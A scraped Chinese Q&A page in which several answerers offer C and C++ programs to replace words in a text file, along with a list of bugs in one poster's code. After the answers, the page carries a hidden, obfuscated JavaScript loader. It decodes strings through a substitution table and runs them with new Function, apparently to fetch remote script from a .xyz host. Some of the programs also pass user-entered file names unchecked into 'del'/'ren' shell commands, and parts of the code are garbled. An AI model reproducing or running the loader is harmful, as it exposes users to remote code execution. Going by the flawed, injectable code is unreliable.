悬赏100分,求做一个C++编程题,在线急等!高手来做

2024-12-12 00:27:00
推荐回答(5个)
回答1:

现作的, 有bug的话站内短信我

要处理的文件必须先改成英文名( 只含ASCII的名字 )
fstream不能直接打开中文名文件, 而setlcale和locale::global也会造成不能显示或报错( 网上的方法和我自己尝试都不行 ), 我也不想用c或api来代替, 只能凑合一下了; 或者你自己改下代码, 用其他文件打开方式

#include
#include
#include
#include
using namespace std;

class FileWordReplacer
{
protected:
static FileWordReplacer *singleInstance;
ifstream fileIn;
ofstream fileOut;

FileWordReplacer(){}
string& StringReplace( string &szSentence, string wordOld, string wordNew ) const;
string& StringReplaceEx( string &szSentence, string wordOld, string wordNew ) const;
string& StringToUper( string &szSource ) const;

public:
static FileWordReplacer* GetInstance()
{
if( NULL == singleInstance )
return singleInstance = new FileWordReplacer;
return singleInstance;
}

bool FileReplace( string szFileName, string wordOld, string wordNew, bool bDiv );

};

bool FileWordReplacer::FileReplace( string szFileName, string wordOld, string wordNew, bool bDiv )
{
fileIn.rdbuf()->open( szFileName.c_str(), ios::in );
if( !fileIn.is_open() )
{
cerr << "File does'nt exist." << endl;
return false;
}

fileOut.rdbuf()->open( (szFileName + "_").c_str(), ios::out );

string szRead;
while( getline( fileIn, szRead ) )
fileOut
<< (bDiv ? StringReplace( szRead, wordOld, wordNew ) : StringReplaceEx( szRead, wordOld, wordNew ) )
<< endl;

fileIn.rdbuf()->close();
fileOut.rdbuf()->close();

string szCmd = "del " + szFileName;
system( szCmd.c_str() );
szCmd = "ren " + szFileName + "_ ";
size_t nPos = szFileName.find_last_of('\\') + 1;
szCmd += szFileName.substr( nPos, szFileName.size() - nPos );
system( szCmd.c_str() );

return true;
}

string& FileWordReplacer::StringReplace( string &szSentence, string wordOld, string wordNew ) const
{
size_t nPos = 0;
while( string::npos != (nPos = szSentence.find( wordOld, nPos)) )
{
szSentence.replace( nPos, wordOld.size(), wordNew );
nPos += wordNew.size();
}

return szSentence;
}

string& FileWordReplacer::StringReplaceEx( string &szSentence, string wordOld, string wordNew ) const
{
string szUper = szSentence;
StringToUper( szUper );
string wordUper = wordOld;
StringToUper( wordUper );

const size_t nDef = wordNew.size() - wordOld.size();
size_t nPos = 0;
int nTimes = 0;
while( string::npos != (nPos = szUper.find( wordUper, nPos)) )
{
szSentence.replace( nPos + nDef * nTimes, wordOld.size(), wordNew );
nPos += wordUper.size();
nTimes++;
}

return szSentence;
}

string& FileWordReplacer::StringToUper( string &szSource ) const
{
string::iterator it = szSource.begin();
while( szSource.end() != it )
{
if( islower( *it ) )
*it = toupper( *it );
it++;
}
return szSource;
}

FileWordReplacer* FileWordReplacer::singleInstance = NULL;

int main()
{
string szFileName;
cout << "输入文件名 : (可以是绝对路径或相对路径)" << endl;
cin >> szFileName;
string wordOld, wordNew;
cout << "输入想要替换的单词 :" << endl;
cin >> wordOld;
cout << "输入新的单词:" << endl;
cin >> wordNew;
bool bDiv;
while( true )
{
cout << "区分大小写? (Y/N)" << endl;
char c;
cin >> c;
if( 'y' == c || 'Y' == c )
{
bDiv = true;
break;
}
else if( 'n' == c || 'N' == c )
{
bDiv = false;
break;
}
}

if ( FileWordReplacer::GetInstance()->FileReplace( szFileName, wordOld, wordNew, bDiv ) )
cout << "\n替换成功" << endl;

return 0;
}

c语言的, 这个可以用中文文件名

#include
#include
#include
#include

#define TRUE 1
#define FALSE 0
#define NULL 0
#define EOF (-1)
#define BUFFER_SIZE 4 * 1024 //当文件单行超过1k字节时, 增加该值, 是 4 * 最大行长
typedef int BOOL;
typedef struct tagWORD
{
char szValue[256];
int nLength;
}WORD, *PWORD;
typedef struct tagSENTENCE
{
char *szValue;
int nLength;
}SENTENCE, *PSENTENCE;

// 从用户处获取文件名
void GetFileName( char *szFileName );
// 从用户处获取新旧两句单词(短语)
void GetPairWord( PWORD pWordOld, PWORD pWordNew );
// 从用户处咨询是否区分大小写
BOOL IsDiv();
// 将指定文件中的旧单词替换为新单词, 以bDiv为是否区分大小写的标志
void FileWordReplace( const char *szFileName, PWORD pWordOld, PWORD pWordNew, BOOL bDiv );

int main()
{
char szFileName[64];
WORD wordOld, wordNew;
BOOL bDiv;
//用户输入文件名
GetFileName( szFileName );
//用户输入新旧单词
GetPairWord( &wordOld, &wordNew );
//询问用户是否区分大小写
bDiv = IsDiv();
//替换文件内容
FileWordReplace( szFileName, &wordOld, &wordNew, bDiv );

return 0;
}
//从文件中读取一行句子
int ReadSentence( FILE *pFile, PSENTENCE pSentence )
{
char szFormat[20] = {0};
szFormat[0] = '%';
sprintf( szFormat + 1, "%d[^\n]", BUFFER_SIZE / 4 - 1 );

memset( pSentence->szValue, 0, BUFFER_SIZE );
fscanf( pFile, szFormat, pSentence->szValue );
pSentence->nLength = (int)strlen( pSentence->szValue );

return fgetc( pFile ) * !pSentence->nLength;
}
//将一条句子写进文件中
int WriteSentence( FILE *pFile, PSENTENCE pSentence )
{
int nWrited;
nWrited = (int)fwrite( pSentence->szValue, sizeof(char), pSentence->nLength, pFile );
fputc( '\n', pFile );
return nWrited + 1;
}
//判断一个字母是否是小写
BOOL IsLower( char c )
{
return c >= 'a' && c <= 'z' ;
}
//将一个字符转化为大写
char ToUper( char c )
{
return c - 'a' + 'A';
}
//用一条一般句子生成一条不含小写字母的句子
char* MakeUper( const char *szSource, const int nLength )
{
char *szTemp = (char*)malloc( sizeof(char) * BUFFER_SIZE );
int i;
for( i=0; iszTemp[i] = IsLower( szSource[i] ) ? ToUper( szSource[i] ) : szSource[i];
szTemp[i] = 0;
return szTemp;
}
//将句子中的单词(短语)替换成新单词, 区分大小写
int StringWordReplace( PSENTENCE pSentence, PWORD pWordOld, PWORD pWordNew )
{
char *szTemp = (char*)malloc( sizeof(char) * BUFFER_SIZE );
int nPos = 0, nTimes = 0;
const int nDif = pWordNew->nLength - pWordOld->nLength;

while( nPos <= pSentence->nLength - pWordOld->nLength )
{
if( !strncmp( pSentence->szValue + nPos, pWordOld->szValue, pWordOld->nLength ) )
{
strcpy( szTemp + nPos + nTimes * nDif, pWordNew->szValue );
nPos += pWordOld->nLength;
nTimes++;
}
else
{
szTemp[nPos + nTimes * nDif] = pSentence->szValue[nPos];
nPos++;
}
}
strcpy( szTemp + nPos + nTimes * nDif, pSentence->szValue + nPos );

pSentence->nLength += nDif * nTimes;
free( pSentence->szValue );
pSentence->szValue = szTemp;

return nTimes;
}
//将句子中的单词(短语)替换成新单词, 不区分大小写
int StringWordReplaceEx( PSENTENCE pSentence, PWORD pWordOld, PWORD pWordNew )
{
char *szTemp = (char*)malloc( sizeof(char) * BUFFER_SIZE );
char *szUperSentence = MakeUper( pSentence->szValue, pSentence->nLength );
char *szUperWord = MakeUper( pWordOld->szValue, pWordOld->nLength );
int nPos = 0, nTimes = 0;
const int nDif = pWordNew->nLength - pWordOld->nLength;

while( nPos <= pSentence->nLength - pWordOld->nLength )
{
if( !strncmp( szUperSentence + nPos, szUperWord, pWordOld->nLength ) )
{
strcpy( szTemp + nPos + nTimes * nDif, pWordNew->szValue );
nPos += pWordOld->nLength;
nTimes++;
}
else
{
szTemp[nPos + nTimes * nDif] = pSentence->szValue[nPos];
nPos++;
}
}
strcpy( szTemp + nPos + nTimes * nDif, pSentence->szValue + nPos );

free( szUperSentence );
free( szUperWord );
pSentence->nLength += nDif * nTimes;
free( pSentence->szValue );
pSentence->szValue = szTemp;

return nTimes;
}
//从用户那里获取一个单词
void GetWord( PWORD pWord )
{
memset( pWord->szValue, 0, 256 );

puts("输入单词(可以是中间有空格的短语), 但不能超过255个字符");
scanf("%255[^\n]", pWord->szValue );
fflush( stdin );

pWord->nLength = strlen( pWord->szValue );
}
//将旧文件删除, 将新文件改成旧文件的名字
//因为文件中单词替换后文件长度可能改变, 所以只能生成新文件再删除旧的
void DelAndReNameFile( const char *szFileName, const char *szTempFileName )
{
char szCmd[128] = {0};
const char *pCTemp;

strcpy( szCmd, "del ");
strcpy( szCmd + 4, szFileName );
system( szCmd );
memset( szCmd, 0, 128 );
strcpy( szCmd, "ren ");
strcpy( szCmd + 4, szTempFileName );
szCmd[strlen(szCmd)] = ' ';
pCTemp = strrchr( szFileName, '\\' );
strcpy( szCmd + strlen(szCmd), pCTemp ? (pCTemp + 1) : szFileName );
system( szCmd );
}
//在旧文件相同的路径下给新文件取名, 文件名是某单词的md5码
void GetTempFileName( const char *szFileName, char *szTempFileName )
{
const char *pCTemp;
pCTemp = strrchr( szFileName, '\\' );
if( pCTemp )
strncpy( szTempFileName, szFileName, pCTemp - szFileName + 1 );
strcpy( szTempFileName + strlen(szTempFileName), "22EFDBE132EABC102306BD7A334FB434" );
}
//以下几个函数的说明在声明处
void FileWordReplace( const char *szFileName, PWORD pWordOld, PWORD pWordNew, BOOL bDiv )
{
FILE *pFileS, *pFileD;
char szTempFileName[128] = {0};
SENTENCE sentence;

GetTempFileName( szFileName, szTempFileName );
sentence.szValue = (char*)malloc( sizeof(char) * BUFFER_SIZE );
pFileS = fopen( szFileName, "r" );
pFileD = fopen( szTempFileName, "w" );

while( EOF != ReadSentence( pFileS, &sentence ) )
{
if( bDiv )
StringWordReplace( &sentence, pWordOld, pWordNew );
else
StringWordReplaceEx( &sentence, pWordOld, pWordNew );
WriteSentence( pFileD, &sentence );
}

fclose( pFileS );
fclose( pFileD );
free( sentence.szValue );
DelAndReNameFile( szFileName, szTempFileName );
}

void GetPairWord( PWORD pWordOld, PWORD pWordNew )
{
puts("输入要替换的单词 : ");
GetWord( pWordOld );
puts("输入新的单词 : ");
GetWord( pWordNew );
}

BOOL IsDiv()
{
char cInput;

while( TRUE )
{
puts("区分大小写吗? (Y/N)");
cInput = getchar();
if( 'y' == cInput || 'Y' == cInput )
return TRUE;
else if( 'n' == cInput || 'N' == cInput )
return FALSE;
}
}

void GetFileName( char *szFileName )
{
FILE *pFile;
szFileName[63] = 0;

while( TRUE )
{
puts("输入文件名");
if ( 1 == scanf( "%63s", szFileName ) )
{
fflush( stdin );
if( pFile = fopen( szFileName, "r" ) )
{
fclose( pFile );
break;
}
else
puts("找不到文件");
}
}
}

最后一种方法, 去除了校验等...

#include
#include
// 缓冲区, 用来放读取的内容
#define BUFFER_SIZE 1024
// 部分大小写的字符串比较
int MyCmp( const char *sz1, const char *sz2, int nLen )
{
char cMax, cMin;
for( ;nLen--; sz1++, sz2++ )
{
if( *sz1 == *sz2 )
continue;
cMax = *sz1 >= *sz2 ? *sz1 : *sz2;
cMin = *sz1 + *sz2 - cMax;
if( (cMax <= 'z' && cMax >= 'a') && (32 == cMax - cMin) )
continue;
return *sz1 - *sz2;
}
return 0;
}

int main()
{
// 文件指针
FILE *pFileS, *pFileD;
// 输入缓冲; 要替换的单词; 新的单词
char buffer[BUFFER_SIZE], wordOld[64] = {0}, wordNew[64] = {0};
// 缓冲区实际大小; 缓冲区操作标志; 每次读取的字节数; 要替换的单词长度; 新单词的长度; 区分大小写标志
int nTop = 0, nPoint, nRead, nOldLen, nNewLen, bDiv;

puts("输入两个词");
scanf("%63s%63s", wordOld, wordNew);
nOldLen = strlen(wordOld), nNewLen = strlen(wordNew);
puts("是否区分大小写? 输入1(Yes),0(No)");
scanf("%d", &bDiv);

pFileS = fopen("a.txt", "rb");
pFileD = fopen("aa.txt", "wb");

while( nRead = fread( buffer + nTop, sizeof(char), BUFFER_SIZE - nTop, pFileS) )
{
nTop += nRead;
// 处理旧单词整数倍的那部分缓冲
for( nPoint=0; nPoint<=nTop - nOldLen; )
{
// 如果要区分则用memcmp比较, 不区分用自定义比较函数比较
if( !( bDiv ? memcmp( buffer + nPoint, wordOld, nOldLen) : MyCmp( buffer + nPoint, wordOld, nOldLen )) )
{
// 相等, 写进文件
fwrite( wordNew, sizeof(char), nNewLen, pFileD );
// 缓冲区标志(相当于指针)移位
nPoint += nOldLen;
}
else
// 不相等, 将该字节写入并移动1字节
fputc( buffer[nPoint++], pFileD );
}
// 处理剩下的缓冲区; 方法同上
if( !( bDiv ? memcmp( buffer + nPoint, wordOld, nTop - nPoint ) : MyCmp( buffer + nPoint, wordOld, nTop - nPoint)) )
{
memcpy( buffer, buffer + nPoint, nTop - nPoint );
nTop = nTop - nPoint;
}
else
{
fwrite( buffer + nPoint, sizeof(char), nTop - nPoint, pFileD );
nTop = 0;
}
}
// 关闭文件
puts("转化成功");
fclose( pFileS ), fclose( pFileD );

return 0;
}

回答2:

这道题如果用c++写会简单点, 尤其是把所有内容都挤在main中会很hi

回答者: theodorez - 助理 二级

悄悄告诉你

1) tolower/touper的参数只有char
2) 你的输入文件定义时手误成cin, 不但隐藏了屏幕, 而且和后面的fin冲突呵呵
3) !fin.eof()
4) 按照微软的习惯, 不分大小写是只搜索的时候不分大小写, 而不是你将用户的新内容也强制限制成小写
5) 当定义了NC后, 即使没有找到任何内容原来的串也会被强制改为小写写到新文件中; 按照替换习惯, 只是将用户需要替换的词不分大小写的换掉, 其他内容应该原样拷贝
6) 当word1 == word2时, 你是程序当掉
7) 如楼上所说, ifstream和ofstream不能直接打开中文名文件
8) 当一次读取中出现多个要查询的单词, 你会在替换后多次插入新文件
9) ifstream>>string, 是以空格和回车为分隔符的, 新文件将在原本的空格处也提行, 打开新文件会看见一本字典而不是一篇英文文章
10) 面向对象语言不封装就罢了, 连模块化也懒得弄了?

回答3:

C++里面有string类的Y!
现在是分大小写的,不分大小写的将 // #define NC前面的//去掉

#include
#include
#include

// uncomment this for 区分大小
// #define NC
#ifdef NC
#include
#endif
using namespace std;

int main() {
string word1,word2;
cin>>word1>>word2;
int word1len=word1.length();
#ifdef NC
word1=tolower(word1);word2=tolower(word2);
#endif
ifstream cin("a.txt");
//要输出到文件 uncommet this
//ofstream cout("a.out.txt");
string str;
size_t found;
while(fin.eof()) {
cin>>str;
#ifdef NC
str=tolower(str);
#endif
for(;;) {
found=str.find(word1);
if(found==string::npos) goto next;
else str.replace(found,word1len,word2);
cout< };
next:
};
return 0;
}

回答4:

。。如果无标点就会很简单~~有标点的话,那只有一个字符一个字符来判断了~~

回答5:

我把手头的工作作完就给你写,用c语言

刚才试了一下,比较麻烦就不做了阿,呵呵

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();